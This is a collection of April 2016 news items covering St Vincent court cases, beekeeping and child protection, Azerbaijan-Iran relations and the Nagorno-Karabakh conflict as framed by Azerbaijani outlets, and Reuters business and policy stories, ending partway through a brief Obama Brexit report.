Lawyer and former Opposition Senator Vynnette Frederick still has to answer to nine charges.

by HAYDN HUGGINS





The Office of the Director of Public Prosecutions, on Wednesday, withdrew an appeal against Magistrate Rickie Burnetts decision to strike out six criminal charges against Vynnette Frederick, then an opposition New Democratic Party (NDP) senator.





As a result, the Appeal Court ordered that the Appeal be dismissed, but the DPPs Office would be proceeding with nine other charges.

Frederick, a lawyer by profession, was initially charged on three counts of making false declarations and three counts of false swearings.

She was alleged to have made false declarations and sworn falsely before then Chief Magistrate Sonya Young, on January 11, 2011.

The former senator was also alleged to have made false declarations and sworn falsely before Fay James, a person authorized to take the oath, on June 16, 2011 and May 23, 2012.

On June 11, 2013, Magistrate Burnett, sitting at the Kingstown Magistrates Court, upheld a submission by Fredericks attorney, Andrew Pilgrim of Barbados, to strike out the charges on the basis that they did not provide sufficient particulars for his client to know what charges she was facing.

However, about two and a half hours after Burnetts decision, Frederick was re-arrested, slapped with six charges of a similar nature and three additional charges relating to the fabrication of evidence. The nine charges are pending.

The DPP appealed Burnetts decision to strike out the six charges, but that was withdrawn at Wednesdays hearing.

However, before the substantive matter was heard, Pilgrim asked the court to inquire of Assistant DPP Colin John who was representing the DPPs Office, about the status of the pending matters.

Chief Justice of Appeal Janice Pereira then asked John, that in light of the fact that there were nine other matters pending relating to the same facts, what would be the DPPs position if the appeal was successful.

John indicated that the preferred option would be to proceed with the nine matters as they were laid indictably.

He concluded that the DPPs Office would withdraw the appeal and concentrate on the nine charges.

When contacted for a comment later, John told THE VINCENTIAN that "The Justice system is alive and well, and he looks forward to the next stage in the proceedings.

Up to press time Wednesday, efforts to reach Frederick were unsuccessful.




Left:Allan Williams, Ministry of Agriculture Resource Person to the Apiary industry in SVG, reported on the status of the Honey Industry in SVG. Right:There are currently 550 active colonies (of bees) in SVG.

Honey production in St. Vincent and the Grenadines for 2015 is estimated at 1138 gallons {505 cases 750 ml bottles), this according to Mr. Allan Williams, Ministry of Agriculture Resource Person to the Apiary industry in SVG .





Williams made the disclosure during his report on the status of the industry in SVG delivered at the 4th Annual General Meeting of the SVG Beekeepers Association, held at the Forestry Headquarters, Camden Park, on April 12th 2016.

The estimated 2015 production falls short, as predicted by Williams in July 2015, of the 1,728 gallons harvested in 2012, the year of the highest output so far, since the revival of the industry in 2006.

Williams had said then that the short fall was expected as a result of the industrys effort to restore some normalcy, given the occurrence of a disease called Chalk-brood (Ascosphaera apis) and operate as best as they could in a situation of inconsistent weather.

There has been, however, an increase in the number of colonies in the apiaries here, that number moving from 497 in mid-2015 to 550 as at the time of the AGM

Those colonies were accounted for by 64 registered beekeepers who man some 49 apiaries.

According to Williams, the 2015 harvest was valued at $273,000.XCD, with returns coming from the local market and overseas markets, including Canada, Antigua and Barbados.

The estimated annual national honey consumption/demand is given as 1600 gallons, valued at $384,000 XCD





Other AGM matters





In addition to Williams report, the AGM also heard reports from Association President, Ms. Beverly Reddock, and Secretary-Treasurer Mrs. Yvonne Bonadie.

Reddock reported on the main activities of the Association for the period under review. These included: technical training for young prospects now attending the SVG Technical College, and members who wished to become proficient in the rearing of queen bees; the Growth and Sustainable Development of Beekeeping in SVG Project, which received part funding from Australian Direct Aid Programme; and negotiations and eventual purchase of the inventory of beekeeping supplies from Shepherds Limited, now part of the new entity One St. Vincent Group Inc. (OSV Group).

As a result of the purchase from Shepherds, the Association is now the main supplier of beekeeping paraphernalia in SVG.

Mrs. Yvonne Bonadie, Secretary Treasurer, presented the Minutes of the 3rd AGM and reported on the financial status of the Association.

President Reddock then presided over the election of Mrs. Frauvaun Campbell to the vacant post of Assistant Secretary Treasurer.

The Association, in looking ahead, anticipates that it would be represented at the Caribbean Beekeepers Conference to be hosted in Tobago, and looks forward to welcoming a visit to SVG of a Canadian beekeeper, with expertise in Queen Bee rearing.

The current Executive of the SVG Beekeepers Association comprises: Ms. Beverly Reddock  President; Mr. Harvey Farrell - Vice-President; Mrs. Yvonne Bonadie - Secretary-Treasurer; Mrs. Frauvaun Campbell - Assistant Secretary Treasurer; Mr Philmore Isaacs - Public Relations Officer; and Mr. Allan Williams - Trustee (Ex-officio Officer).




Defence lawyer Grant Connell (left) thinks the police are losing respect for the Serious Offenses Court, but sitting magistrate Rechanne Browne thinks otherwise.

Defence lawyer Grant Connell is concerned that police respect for the Serious Offences Court seems to be dwindling, given certain recent occurrences at the Court.





The lawyer made the observation during a sitting of the court on Monday after his client, Janiel Haywood, was brought to court and left on the prisoners bench without any explanation to justify her presence there.





Haywood, 21, of Walvaroo, was charged with possession of 23 grams of marijuana with intent to supply.

Connell informed the court that his client was arrested last Friday, April 15, kept at the Questelles Police Station until Monday morning, brought to court in Kingstown and left seated on the prisoners bench.

"The arresting officer is not here or any documents to justify her (prisoner) presence here, Connell said.

"The police are slowly losing respect for the court, the lawyer opined.





But Chief Magistrate Rechanne Browne rebutted, "I dont believe so.

Connell described the situation as, "an abuse of process, and noted that his client had been in custody for the last 72 hours.





When the Chief Magistrate inquired of Senior Prosecutor Adolphus Delpleche if he had any information with regard to Haywoods arrest, he said no.

"Who brought her here? the Magistrate further asked.

"I dont know, the Senior Prosecutor replied.

"I have to discharge her, I cant keep her here, Browne

concluded, and proceded so to do.
This country is the first in the Eastern Caribbean to adopt a national child protection policy .





This was confirmed by UNICEFs Representative for Barbados and the Eastern Caribbean Khin-Sandi Lwin, as she addressed the launch of a National Child Protection Policy, Tuesday 19th April, at the NIS Conference Room, Kingstown.

Ms. Lwin described this country as "a trailblazer in this regard, and cited the policy as being consistent with the Convention on the Rights of the Child.

The National Policy, she said, sends forth the message that everyone is expected to be actively involved in safeguarding the rights of children.

Ms. Lwin also pledged UNICEFs continued support in ensuring that the Policy works in the best interest of the children of SVG.





Government delivers

Delivering the keynote address at the launch of the Policy, Minister of National Mobilisation Frederick Stephenson, under whose portfolio the care for and service to children fall, commended his government for the work it has been doing in relation to children, the elderly and the poor, and repeated the maxim that a society is judged by how it treats its most vulnerable groups (of people).

Minister Stephenson pointed out that, with the passing of the Child Care and Adoption Act in 2010, the Status of Children Act in 2011 and the 2015 Domestic Violence Act in 2015, his government has demonstrated its commitment to the protection of its vulnerable citizens.

He described the National Child Protection Policy as a macro-based legal and social protection strategy, aimed at strengthening national protection, building evidence and knowledge, managing and analysing agents of change.

The launch was followed by a workshop session during which stakeholders looked intensely at Policy, its framework and procedures.
The surging seas in Bequia (pictured here) meant that visitors and locals could not enjoy the usual safe swimming that that Grenadine island offers. (Credit: Facebook photo)

There have been no reports of property damage as of Wednesday, as this country and most of the neighbouring territories continued to experience (sea) surges .





This is the word coming from the Director of the National Emergency Management Organization (NEMO), Howie Prince, who further explained that the condition, while not having an impact on property or human life, was indeed impacting on the coastline  particularly in areas already susceptible to the problem.

Areas including Sans Souci and Georgetown along the Eastern coastline were being affected by the wave action.

There were some reports coming in from Bequia, prompting Prince to explain that the problem was different for that Grenadine Island, in that visitors were unable to venture into the water, particularly along Lower Bay and Princess Margaret beaches.

"Walking along the boardwalk can be sort of dicey, Prince said.

"Getting between Port Elizabeth and Princess Margaret Beach can be dangerous, NEMOs Director continued.

An official at the Meteorological Office at the E T Joshua Airport told THE VINCENTIAN that the region, from Antigua in the north and southwards, was reported to be experiencing surges.

The official went on to indicate that the phenomenon was nothing strange, and occurs from time to time.

He indicated that NEMO was informed, and confirmed that the occurrence of unusual wave action was expected to continue well into today, Friday. (DDD)
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Iran is ready to cooperate with Azerbaijan to develop fields in the Caspian Sea, said Iran's Minister of Communications and Information Technology Mahmoud Vaezi.

He made the remarks during the meeting of the Azerbaijani and Iranian delegations in Baku.

The minister called on to expand cooperation between the two countries in this sphere, regardless of low oil prices.

He also recalled the agreement on continuation of the construction and operation of hydroelectric power plants and hydroelectric complexes "Khudaferin" and "Giz Galasi" on the Araz River.

"I think that we should take a similar step in relation to the development of fields in the Caspian Sea," said Vaezi.

Earlier, in his interview with Trend Vaezi said that the sides are already conducting negotiations in this sphere. The two countries have great potential for cooperation in the oil and gas sphere, according to him.

The agreement on cooperation in the field of energy and water resources use, continuation of the construction and operation of hydroelectric power plants and hydroelectric complexes "Khudaferin" and "Giz Galasi" on the Araz River was signed within the visit of Azerbaijan's President Ilham Aliyev to Iran in February 2016.

The agreement includes principles of respect for sovereignty and territorial integrity of Azerbaijan and Iran, highlights the need to restore the territorial integrity of Azerbaijan in accordance with the UN resolutions, proclaims equal rights for water and energy resources along hydroelectric complexes "Khudaferin" and "Giz Galasi".

The document states that Iran will ensure completion of construction of hydroelectric complexes and hydroelectric power plants, preservation and operation of water and energy resources at hydroelectric complexes and hydroelectric power plants until the territorial integrity of Azerbaijan is restored.

The agreement says that the sides will use these facilities on equal terms. Azerbaijani specialists will be involved in construction and operation of the facilities in accordance with the agreement.
Azerbaijan and Iran have signed four documents.





The documents were signed as part of a visit of Minister of Information and Communications Technology of Iran Mahmoud Vaezi to Azerbaijan.





Prior to the signing ceremony, Azerbaijani Minister of Economy Shahin Mustafayev and Iranian Minister Mahmoud Vaezi discussed the bilateral cooperation between the two countries.





The Azerbaijani Minister highlighted the work to be done for the development of tourism and transport sector, adding it would be beneficial for the two countries.





Saying the construction of a railway bridge on Astara river will be finished by the end of this year, Minister Mustafayev added that the railway will also be fully constructed by that time.





Then Azerbaijani and Iranian companies signed memorandums of understanding.





Azerbaijan Investment Company OJS, Azersun Holding MMC and Irans Darou Pakhsh companies signed a Memorandum of Understanding on producing pharmaceutical products in accordance with the international standards.





Sumgait Chemical Industrial Park MMC and Irans Darou Pakhsh companies signed a Memorandum of Understanding on producing pharmaceutical products in accordance with the international standards in the territory of Sumgait Chemical Industrial Park.





Azerbaijan Investment Company and Azevrocar MMC signed a Memorandum of Understanding on producing automobile and its relevant spare parts in Neftchala Industrial District.




By Aynur Karimova

The project of North-South international transport corridor is of strategic importance for our region, Iran's Parliamentary Speaker Ali Larijani believes.

He said in his recent interview with Russian media on April 21 that this corridor can be profitable for all countries, including Russia, "which can get an access to the waters of the Persian and Oman Gulfs via this corridor."

"This route can help Russia with cargo transportation," he noted, adding that all countries located on this route will be able to benefit it.

"Therefore, it will be beneficial for Iran as well - we will be connected with Russia, with the countries that are located along this corridor, with Europe and China. Having an access to the Gulf of Oman will also be helpful for other countries. This is a strategic project for our region," Larijani stated.

The North-South corridor, from India to Helsinki, with a length of 5,000 kilometers is designed to carry more than 20 million tons per year. It is a multimodal route for transportation of passengers and cargo from Russia's St. Petersburg to the Mumbai port. It is designed to carry transit cargo from India, Iran and other Persian Gulf countries to the territory of Russia (the Caspian Sea) and further - to Northern and Western Europe.

The North-South route enjoys several advantages compared to other transport corridors; it is more profitable for each parameter than other alternative routes, such as the Suez Canal-the Mediterranean Sea-Northern Europe and the Turkmenistan-Kazakhstan-Russia-Northern Europe routes.

The preliminary estimates show that at an initial stage, it is planned to transport 6 million tons of cargo via the North-South corridor a year, and 15 to 20 million tons of cargo in the future.

Larijani went on to add that in all regional negotiations with Central and Middle Asia countries, Azerbaijan, and Russia, a special attention is paid to this important issue.

Economists say that cargoes, which come from China, can be directed to Northern Europe, and the goods from Western Europe - to Iran, that is, the North-South and East-West corridors actually combine.

In this case, Azerbaijan, with its favorable strategic and geographic location on the intersection major transport projects linking north with south and east with west, will become a hub, a logistics center of transit cargo transportation.

Sergei Stolyarov, the Head of International Cooperation Department of Russian railways JSC also considers Azerbaijan as an active initiator and driver of the North-South corridor.

He also stressed the importance of constructiing a railroad bridge over the Astara River on the border of the two countries, which was launched on April 20 with the participation of Azerbaijan's Economy and Industry Minister Shahin Mustafayev and Iran's Minister of Communications and Information Technology Mahmoud Vaezi.

"We hope that laying the foundation stone means that it will become a cornerstone for the active phase of implementation of the project on construction of the Rasht-Astara railway section," Stolyarov added. "This is the main element of the North-South corridor, and we hope that a direct connection between the countries of the Persian Gulf, South Asia and Iran through Azerbaijan to Russia and Europe will be created in the future, and we will be able to get effective transport links in the Eurasian region."

The railroad bridge over the Astara River is a strategically important facility that will connect the railways of Azerbaijan and Iran. The bridge will be constructed until late 2016.

In accordance with an agreement signed by Azerbaijan and Iran, the border bridge will be built jointly.

The length of the railroad bridge will reach 82.5 meters, while its width will amount to 10.6 meters.

The bridge will become an integral part of the Astara (Azerbaijan) - Astara (Iran) railway, which is part of the North-South international transport corridor.

Stolyarov believes that the foundation of the bridge in Astara testifies that Azerbaijan is an active initiator and drive of this project.

"In the future, implementation of the construction of the Rasht-Astara railway line will allow Azerbaijan to receive additional transit cargo base and to become a major participant in the North-South corridor, to attract additional cargoes to its territory and to receive additional income," he added.

The sections of the Qazvin-Rasht and Astara (Iran) - Astara (Azerbaijan) railway are under construction.

The Astara (Iran) - Astara (Azerbaijan) section is planned to be constructed in 2016, while the Qazvin-Rasht section in 2017. The Rasht-Astara railway will be under construction simultaneously.

Commenting on the possibility of establishing a consortium of the North-South corridor, Stolyarov said that the participants of the project have been for a long time a consistent supporter of the tripartite dialogue on the implementation of the project.

"Earlier, agreements on the revitalization of the project were repeatedly reached, various forms of its implementation were discussed, and we are currently discussing the possible forms its joint implementation with our partners in Azerbaijan and in Iran. Therefore, all are possible," he concluded.
Azerbaijan is urging the international community to condemn Armenia for the gross violation of international law, Azerbaijan's Foreign Ministry said in a statement issued Apr. 21.

"The ongoing armed conflict in and around the Nagorno-Karabakh region of the Republic of Azerbaijan has resulted in the occupation of almost one fifth of the territory of Azerbaijan and has made approximately one out of every nine people in the country an internally displaced person or a refugee," said the statement.

The Republic of Armenia bears the responsibility for unleashing the war and using force against Azerbaijan, occupying its territories, carrying out ethnic cleansing on a massive scale and committing other serious crimes during the conflict, said the ministry.

"The international community has consistently deplored, in the strongest terms, the use of military force against Azerbaijan and the resulting occupation of its territories," reads the statement. "In 1993, the United Nations Security Council adopted resolutions 822 (1993), 853 (1993), 874 (1993) and 884 (1993), condemning the use of force against Azerbaijan and occupation of its territories and reaffirming the sovereignty and territorial integrity of Azerbaijan and the inviolability of its internationally recognized borders."

"In those resolutions, the Security Council reaffirmed that the Nagorno-Karabakh region is a part of Azerbaijan, and called for immediate, complete and unconditional withdrawal of the occupying forces from all occupied territories of Azerbaijan," added the ministry. "Other international organizations have adopted a similar position."

The statement said that Armenia, in total disregard of the position of international community and in flagrant violation of international law, continues to undertake efforts aimed at further consolidating the current status quo of the occupation, strengthening its military build-up in the seized territories, changing their demographic, cultural and physical character and preventing the hundreds of thousands of Azerbaijani forcibly displaced persons from returning to their homes and properties in those areas.

Moreover, regular ceasefire violations, attacks on the towns and villages in Azerbaijan, situated along the line of contact of the armed forces of Armenia and Azerbaijan and the border between the two states, have become more frequent and violent recently, resulting in the killing and injuring of Azerbaijani civilians, said the Foreign Ministry.

"The Republic of Azerbaijan has repeatedly brought its strong protests and serious concerns in that regard to the attention of the international community and has made it clear on numerous occasions that the unlawful presence of the armed forces of Armenia in the occupied territories of Azerbaijan is the main cause of tensions and incidents in the conflict zone and the major impediment to the political settlement of the conflict," the statement said.

The Republic of Azerbaijan has also repeatedly stated that the military occupation of its territories does not represent a solution and will never produce a political outcome desired by Armenia, according to the ministry.

"Starting from the early morning of April 2, 2016, the armed forces of Armenia increased fighting from their positions in the occupied territories, subjecting the armed forces of Azerbaijan along the line of contact and the adjacent densely populated areas under control of Azerbaijan to intensive fire with heavy artillery and large-caliber weapons," said the statement.

The ministry noted in its statement that as a result of Armenia's attacks and subsequent hostilities, 34 towns and villages along the line of contact were shelled, a number of Azerbaijani civilians, including children, were killed and wounded.

"Substantial damages were inflicted upon the private and public property. Thus, 353 civilian buildings, among them 314 residential houses, 3 schools, 3 kindergartens, 1 cultural center, and other civilian objects were either destroyed or damaged," said the statement. "Furthermore, 357 electricity poles, 3 power substations, 30 transformers, as well as water reservoirs, gas pipelines, roads and other property were damaged."

Armenia's offensive actions also caused casualties and injuries among the servicemen of the armed forces of Azerbaijan, said the Foreign Ministry.

"On April 10, 2016, the International Committee of the Red Cross facilitated the handover, between the sides, of the bodies of those killed in action following the recent escalation," said the statement. "The subsequently performed forensic medical examination registered numerous signs of post-mortem mutilation of the bodies of Azerbaijani servicemen."

By its deliberate offensive actions, Armenia undermined the ceasefire regime established in 1994 and endangered the prospects of the political settlement of the conflict, added Azerbaijan's Foreign Ministry.

"On April 5, 2016 in Moscow, under the mediation efforts of the Russian Federation, a ceasefire was agreed between Armenia and Azerbaijan," said the statement. "Despite that, Armenia continues to violate that agreement by firing at the positions of the armed forces of Azerbaijan and the towns and villages situated along the line of contact with the use of large-caliber machine guns, mortars, grenade launchers and artillery systems."

"Armenia's direct and deliberate attacks against the Azerbaijani civilian population and civilian objects, as well as inhuman acts against Azerbaijani military, constitute a serious violation of international humanitarian and human rights law, in particular the 1949 Geneva Conventions and Additional Protocol I thereto, the 1954 Hague Convention on the Protection of Cultural Property in the Event of Armed Conflict and its protocols, the International Covenant on Civil and Political Rights, the International Covenant on Economic, Social and Cultural Rights, the Convention against Torture and Other Cruel, Inhuman or Degrading Treatment or Punishment, the International Convention on the Elimination of All Forms of Racial Discrimination, the Convention on the Rights of the Child and the Convention for the Protection of Human Rights and Fundamental Freedoms," said the ministry.

Alongside with the Republic of Armenia's responsibility as a state for internationally wrongful acts, violations by Armenia of international humanitarian and human rights law during the conflict amount to crimes under international criminal law, said the statement.

"The overall assessment of the causes and consequences of the war unleashed by Armenia against Azerbaijan make it absolutely clear that the crimes committed by Armenia during the conflict were not isolated or sporadic acts, but were part of Armenia's widespread and systematic policy and practice of atrocities," Azerbaijan's Foreign Ministry said.

The Republic of Azerbaijan is confident that the consistent measures being taken at the national level, as well as the existing international legal framework, will serve to bring to justice those responsible for the grave offences committed in the course of Armenia's aggression against Azerbaijan, according to the statement.

The Republic of Azerbaijan urges the international community to condemn Armenia for blatant violation of international law and insist on the implementation of the aforementioned UN Security Council resolutions, the ministry said.

"The conflict can only be resolved on the basis of the sovereignty and territorial integrity of Azerbaijan within its internationally recognized borders," said the statement. "The Republic of Azerbaijan will spare no efforts towards achieving the political settlement of the conflict and ensuring peace and justice in the region."

/By Trend/




/By Azernews/

By Nazrin Gadimova

Russia as an international mediator is ready to render all possible assistance to the parties of the Nagorno-Karabakh conflict.

Maria Zakharova, the Spokesperson for Russia's Foreign Ministry, made the remark as part of the briefing held in Moscow on April 21.

We are firmly convinced that the parties [of the conflict] should resume the negotiation process aimed at achieving a lasting settlement, she said. It is essential to intensify the work on reducing the war risk on the basis of the existing agreements.

The parties to the long-lasting Armenia-Azerbaijan conflict are now required to exercise restraint and to engage in dialogue on the restoration of stability, Zakharova believes. As an international mediator we reaffirm the readiness in the interaction with other co-chairing states of the OSCE Minsk Group to assist the parties with all necessary aid in realization of this goal," she stressed.

Moreover, Zakharova said that the crisis in Nagorno-Karabakh will be discussed during the two-day visit of Russia's Foreign Minister Sergey Lavrov to Yerevan. At the same time, Anti-Russian sentiments are gaining new pace in Armenia, as the country was upset with Russia's position in the last military operation on the frontline with Azerbaijan.

As the countrys media reported, Yerevan will host a rally against the visit of Lavrov who plans to hold talks with the countrys president and foreign minister to discuss tense situation in Nagorno-Karabakh.

The protesters will march to the countrys Foreign Ministry and the Russian embassy to voice their demands, the local media reports.

Armenia staged provocations on the contact line of troops on April 2, thus making the Azerbaijani side to retaliate the mass attacks targeting not only military positions, but also civilians. Immediately after Armenia launched military operations against neighboring Azerbaijan, Russia, which enjoys great influence on Yerevan, expressed its concern over the situation.

The scaly reply of well-equipped Azerbaijani troops to such sudden attacks revealed poor state of the Armenian army, which immediately blamed the countries, in particular Russia in sale of weapons to Baku. At the same time, Yerevan did not mention its own arms purchases from Russia.

Moscow's response was sharp: deliveries of Russian arms to Armenia and Azerbaijan form a balance that keeps the region from military escalation. At that very moment, Yerevan understood that Moscow does not intend to maintain Armenia's interests unilaterally.
There can be no military solution to the Armenia-Azerbaijan Nagorno-Karabakh conflict, Alexander Vershbow, NATO's deputy secretary general, tweeted Apr. 21.

"Nagorno-Karabakh conflict urgently requires de-escalation and diplomatic progress under the auspices of the OSCE Minsk Group co-chairs," he said in another tweet.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers.

The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.



Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides, Azerbaijan's Defense Ministry earlier said. Ignoring the agreement, the Armenian side again started violating the ceasefire.



The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations.

Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
Azerbaijan's Defense Ministry has dismissed the Armenian media reports which suggest that allegedly the Azerbaijani side violated the ceasefire in the direction of Talish village and that Armenian serviceman Marat Danielyan was killed as a result of the shootout.

"An Armenian Zil-131 truck was blown up on Apr. 21 morning on an Armenian mine in the northern part of the line of contact. The explosion left one dead and several injured," the ministry told Trend Apr. 21.

"By spreading such false information, Armenians try to conceal from the public the number of the dead and injured, as well as their failures on the frontline," added the Defense Ministry.
Indonesia's Deputy Foreign Minister Abdurrahman Mohammad Fachir will visit Azerbaijan, the Indonesian Embassy in Baku told Trend Apr. 21.

Fachir, who will lead a delegation of more than 20 people, will take part in the 7th Global Forum of the UN Alliance of Civilizations (UNAOC), to be held Apr. 25-27 in Baku.

It is planned to hold a meeting with participation of high-ranking officials and about 30 sessions during the Forum.

The Baku Declaration is expected to be adopted during the high-level meeting of the UNAOC Global Forum.

Azerbaijan's President Ilham Aliyev signed a decree on July 24, 2015 to create an organizing committee for holding the 7th UNAOC Global Forum in Baku.
Turkey's President Recep Tayyip Erdogan will arrive in Azerbaijan Apr. 25, the Turkish Ambassador to Azerbaijan Ismayil Alper Coskun told Trend Apr. 21.

Turkish president will take part in the 7th Global Forum of the UN Alliance of Civilizations (UNAOC), to be held Apr. 25-27 in Baku, he said.

President Erdogan will be accompanied by a large delegation consisting of deputy prime minister, ministers of foreign affairs, energy, economy and culture, according to Coskun.

He added that usually at such multilateral forums presidents discuss the agenda, therefore, a top level meeting will be held.

Coskun said it will be the third meeting of the Azerbaijani and Turkish presidents in 2016.

The diplomat noted that the Turkish ministers will also meet with their Azerbaijani counterparts during their visit.
/By Azernews/

By Nazrin Gadimova

The Armenian leadership has no common sense, Novruz Mammadov, the deputy head of Azerbaijani presidential administration, believes.

He made the remarks while commenting on the Armenian Foreign Ministrys statement demanding to cancel the 7th Global Forum of the UN Alliance of Civilizations, which is scheduled to be held in Baku on April 25-27.

Mammadov regarded Yerevan's accusation of Baku in "violation of fundamental principles of international law" as absurd amid Armenia's keeping under control over 20 percent of Azerbaijan's internationally recognized territory.

"Armenia does not consider the occupation of Azerbaijans territories the violation of international law," Mammadov posted on his Facebook page. "At the same time, all international organizations and bodies, including UN Security Council, think this occupation is a flagrant violation of international law."

Mammadov stressed that in fact, the leadership of Armenia, which has become a hostage to the authorities, is not able to see farther than its nose. The reason for such impudence is that behind them there are certain circles in some countries. When the world is in a stressful time, such actions of the Armenian leadership will never ensure the well-being of the country and its people.

Armenia, which occupied 20 percent of Azerbaijans territory, has not yet implemented four UN Security Council resolutions on immediate withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

Moreover, the reigning Armenian leadership launched a furious attack on the Khojaly city late into night from February 25 to 26, killing 613 civilian Azerbaijanis with an unforeseen brutality. President Serzh Sargsyan led the aggressive operations in Khojaly, which is fairly recognized by many nations as Khojaly Massacre  the tragedy of the 20th century.

Armenian barbarians disabled some 1,000 people, eradicating eight families completely. About 25 children lost one of their parents and 130 were completely deprived of their parents in the wake of an ethnic cleansing in Khojaly.

Moreover, 6 civilians and 31 soldiers were killed and dozens injured during the recent hostilities in Nagorno-Karabakh launched by Armenia on April 2.
President of the Republic of Azerbaijan Ilham Aliyev has attended a ceremony to launch "Ufuq", "Zafar" and "Turan" passenger ships built by Caspian Shipping Company.





President of the State Oil Company of the Republic of Azerbaijan Rovnag Abdullayev and Chairman of Caspian Shipping Company Rauf Valiyev informed the head of state about the ships constructed by the factory.





The head of state cut the ribbon symbolizing the commissioning of the ships.





Each vessel can handle up to 80 passengers. The ships measure 38m in length and 8m in width.





President Ilham Aliyev pressed the button to put "Ufuq" into operation.





Currently Khankendi, a state-of-the-art subsea construction vessel (SCV), is being built for stage two of the development of Shah Deniz, the largest natural gas field in Azerbaijan. The two sections weigh a total of 10,800 tons. The sections are 140 metres long, 16 metres wide and 17 metres high. Together they make up the hull for the SCV Khankendi.





The vessel will be fitted with dynamic positioning to allow for work in 2.5 m significant wave height (Hs); a 750-metric ton (827-ton) main crane for subsea operations in 600 m water depth; an 18-man two-bell diving system; two Work Class ROVs; a strengthened moonpool; and two engine rooms with 6 x 4.4 MW + 2 x 3.2 MW engines. It will have deadweight of 5,000 metric tons (5,511 tons) at 6.5 m draft.





The President viewed the vessels, and wished the staff good luck.




Loss-making Dubai contractor Arabtec may break even in 2016 and should return to profit the following year, the company's chairman said on Wednesday.



Arabtec made a loss of Dh2.35 billion ($639.9 million) in 2015, which it blamed on rising costs and tough market conditions, with the Gulf construction sector entering a marked slowdown as the slump in oil prices led governments to rein in spending.



"2015 was a severe year, 2016 is still tough. I am confident of 2017, that's when I see (profit)," Mohamed Al-Rumaithi told reporters on the sidelines of the company's annual shareholder meeting when asked when the company would return to profitability.



"For 2016, maybe we will break even," he said when asked if that meant the company would make another annual loss this year.

Rumaithi said Arabtec aimed to cut costs and this could include job cuts, although he declined to specify how many jobs might go or how much could be made in savings.



"There's some fat to be taken out," he said.



The company also plans to streamline its operations: its most recent financial statement lists more than 50 subsidiaries.



"We are a construction company, we will concentrate on our core business (of) construction," said Rumaithi. "If it's not related, we're out; if it's related we're still in."



Arabtec will go to banks for funding but there will be no bond issues for the time being, he said.-Reuters
Women now receive almost as much education as men, but this has not translated into equal numbers in jobs or parliamentary seats, a US researcher who studied data from more than 150 countries said.

Women's total years of education rose to 91 per cent of men's in 2010 from 82 per cent in 1990, according to the study which analysed data from between 1990 and 2010.

Despite the increase in education levels, women's employment rate was only 70 per cent that of men, up from 62 per cent in 1990. The gap was wider in some parts of Asia, Latin America, the Middle East and Africa.

The share of women employed in high-paying jobs in the industrial sector dropped 20 percentage points in the same period, according to the study which was published in the Journal of African Development on Friday.

"Women have improved their access to employment ... but the jobs that they are getting are disproportionately likely to be lower paid, with fewer benefits, and with less economic security," said the author of the study, Stephanie Seguino.

Many international organisations, including the World Bank and the United Nations, thought greater education would do more to shrink the gap between women's and men's access to jobs, Seguino, who is professor of economics at the University of Vermont, told the Thomson Reuters Foundation.

"Improvements in education have been important - and there are still some ways to go - but we really have to shift our focus to the barriers that women face in getting access to high quality jobs if we want to eradicate gender inequality," she said.

In many countries men are preferred to women - especially where jobs are scarce - because of a stereotype that men are breadwinners.

Also, if women are responsible for the care of children and cannot get high quality childcare, they find it hard to convert their education into a job, Seguino said.

"We typically think of this as being a problem in the Middle East ... but it's also true in the Caribbean," she added.

Women make up the majority of students at the University of the West Indies, but have almost double the unemployment rate of men, Seguino said.

This issue is not one for developing countries alone - women also face exclusion from high-tech jobs in Silicon Valley, she added.

The gender gap was widest in political representation. Women held only 25 per cent of parliamentary seats worldwide in 2010, though this was an increase of 14 percentage points since 1990, according to the study.

Legislative bodies in some nations - including Haiti and Qatar - had no female members.

"Without women, governments are more likely to spend taxpayer money in ways that disproportionately benefit men - or at least ignore the extra burdens on women," Seguino said in a statement.

"We need women in government to ensure their life conditions and needs are reflected in these policy and funding decisions."

Paid parental leave, affordable daycare - and potentially gender quotas - are needed to level the playing field in political representation and the workplace, Seguino said. - Reuters
Mitsubishi Motors Corp's fuel economy scandal broadened on Friday as US auto safety authorities said they were seeking information and after reports that the automaker submitted misleading data on at least one more model than disclosed and likely several more.



Japan's sixth-largest automaker admitted this week it had overstated the fuel efficiency of 625,000 cars, wiping off around 40 percent of its market value, or $3.2 billion over three days, and prompting a raid by Japanese authorities on one of its facilities.



Adding to fears that the scandal will lead to ballooning compensation and fines, top Japanese government officials said Mitsubishi could be responsible for reimbursing consumers and the government if investigations find the vehicles were not as fuel-efficient as claimed.



"This is a serious problem that could lead to the loss of trust in our country's auto industry," Transport Minister Keiichi Ishii told a news conference on Friday.



He said he wanted Mitsubishi to look at the possibility of buying back the cars in question.



The government would also ask the automaker to pay for any subsidies granted to consumers if data shows its cars do not meet necessary fuel economy standards, Jiji news agency quoted Internal Affairs Minister Sanae Takaichi as saying.



Domestic media reported that Mitsubishi had submitted misleading mileage data on its i-MiEV electric car, which is also sold overseas. Previously disclosed models are marketed specfically for the Japanese market and Mitsubishi has admitted to manipulating their fuel economy readings.



The Sankei newspaper also said the automaker is also suspected of using non-Japanese test methodology on its RVR, Outlander, Pajero and Minicab MiEV models.



Mitsubishi had said there may be more models that violate Japanese regulations. A spokesman said on Friday the company was still looking into those models.



An official at the US National Highway Traffic Safety Administration told Reuters the regulator had asked Mitsubishi Motors for information on vehicles sold in the US.



He declined to comment on which models it had requested information on, or whether it had requested data from other automakers.



Shares in Mitsubishi fell as much as 16 percent to a record low on Friday. They were down 13 percent in early afternoon trade.



Japan's Transport Ministry has ordered Mitsubishi to submit a full report on its test data within a week, and for other Japanese automakers to also submit fuel economy test data by May 18. - Reuters
US President Barack Obama made an impassioned appeal on Friday for Britain to remain in the European Union, saying membership had magnified Britain's place in the world and made the bloc stronger and more outward looking.



